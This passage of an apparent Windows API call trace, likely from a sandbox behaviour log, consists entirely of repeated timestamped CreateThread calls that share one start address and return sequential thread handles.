lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1378) returned 0x548 [0227.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x137c) returned 0x54c [0227.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1380) returned 0x550 [0227.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1384) returned 0x554 [0227.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1388) returned 0x558 [0227.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x138c) returned 0x55c [0227.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1390) returned 0x560 [0227.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13e4) returned 0x564 [0227.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13e8) returned 0x568 [0227.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13ec) returned 0x56c [0227.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13f0) returned 0x570 [0227.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13f4) returned 0x574 [0227.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13f8) returned 0x578 [0227.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x13fc) returned 0x57c [0227.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa50) returned 0x580 [0227.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa48) returned 0x584 [0227.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa4c) returned 0x588 [0227.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa5c) returned 0x58c [0227.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xda4) returned 0x590 [0227.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xda0) returned 0x594 [0227.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1404) returned 0x598 [0227.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1408) returned 0x59c [0227.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x140c) returned 0x5a0 [0227.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1410) returned 0x5a4 [0227.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1414) returned 0x5a8 [0227.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1418) returned 0x5ac [0227.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x141c) returned 0x5b0 [0227.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1470) returned 0x5b4 [0227.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1474) returned 0x5b8 [0227.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1478) returned 0x5bc [0227.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x147c) returned 0x5c0 [0227.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1480) returned 0x5c4 [0227.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1484) returned 0x5c8 [0227.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1488) returned 0x5cc [0227.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x148c) returned 0x5d0 [0227.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1490) returned 0x5d4 [0227.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1494) returned 0x5d8 [0227.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1498) returned 0x5dc [0227.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x149c) returned 0x5e0 [0227.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14a0) returned 0x5e4 [0227.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14a4) returned 0x5e8 [0227.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14a8) returned 0x5ec [0227.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14ac) returned 0x5f0 [0227.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14b0) returned 0x5f4 [0227.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14b4) returned 0x5f8 [0227.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14b8) returned 0x5fc [0227.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14bc) returned 0x600 [0227.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1510) returned 0x604 [0227.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1514) returned 0x608 [0227.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1518) returned 0x60c [0227.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x151c) returned 0x610 [0227.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1520) returned 0x614 [0227.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1524) returned 0x618 [0227.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1528) returned 0x61c [0227.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x152c) returned 0x620 [0227.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1530) returned 0x624 [0227.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1534) returned 0x628 [0227.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1538) returned 0x62c [0227.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x153c) returned 0x630 [0227.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1540) returned 0x634 [0227.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1544) returned 0x638 [0228.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1548) returned 0x63c [0228.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x154c) returned 0x640 [0228.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1550) returned 0x644 [0228.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1554) returned 0x648 [0228.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1558) returned 0x64c [0228.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x155c) returned 0x650 [0228.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15b0) returned 0x654 [0228.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15b4) returned 0x658 [0228.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15b8) returned 0x65c [0228.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15bc) returned 0x660 [0228.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15c0) returned 0x664 [0228.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15c4) returned 0x668 [0228.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15c8) returned 0x66c [0228.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15cc) returned 0x670 [0228.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15d0) returned 0x674 [0228.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15d4) returned 0x678 [0228.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15d8) returned 0x67c [0228.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15dc) returned 0x680 [0228.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15e0) returned 0x684 [0228.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15e4) returned 0x688 [0228.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15e8) returned 0x68c [0228.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15ec) returned 0x690 [0228.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15f0) returned 0x694 [0228.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15f4) returned 0x698 [0228.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15f8) returned 0x69c [0228.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15fc) returned 0x6a0 [0228.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1650) returned 0x6a4 [0228.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1654) returned 0x6a8 [0228.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1658) returned 0x6ac [0228.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x165c) returned 0x6b0 [0228.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1660) returned 0x6b4 [0228.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1664) returned 0x6b8 [0228.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1668) returned 0x6bc [0228.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x166c) returned 0x6c0 [0228.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1670) returned 0x6c4 [0228.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1674) returned 0x6c8 [0228.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1678) returned 0x6cc [0228.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x167c) returned 0x6d0 [0228.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1680) returned 0x6d4 [0228.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1684) returned 0x6d8 [0228.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1688) returned 0x6dc [0228.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x168c) returned 0x6e0 [0228.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1690) returned 0x6e4 [0228.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1694) returned 0x6e8 [0228.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1698) returned 0x6ec [0228.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x169c) returned 0x6f0 [0228.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16f4) returned 0x6f4 [0228.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16f8) returned 0x6f8 [0228.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16fc) returned 0x6fc [0228.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1700) returned 0x700 [0228.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1704) returned 0x704 [0228.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1708) returned 0x708 [0228.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x170c) returned 0x70c [0228.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1710) returned 0x710 [0228.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1714) returned 0x714 [0228.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1718) returned 0x718 [0228.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x171c) returned 0x71c [0228.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1720) returned 0x720 [0228.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1724) returned 0x724 [0228.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1728) returned 0x728 [0228.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x172c) returned 0x72c [0228.462] CreateThread (in: lpThreadAttributes=0x0, 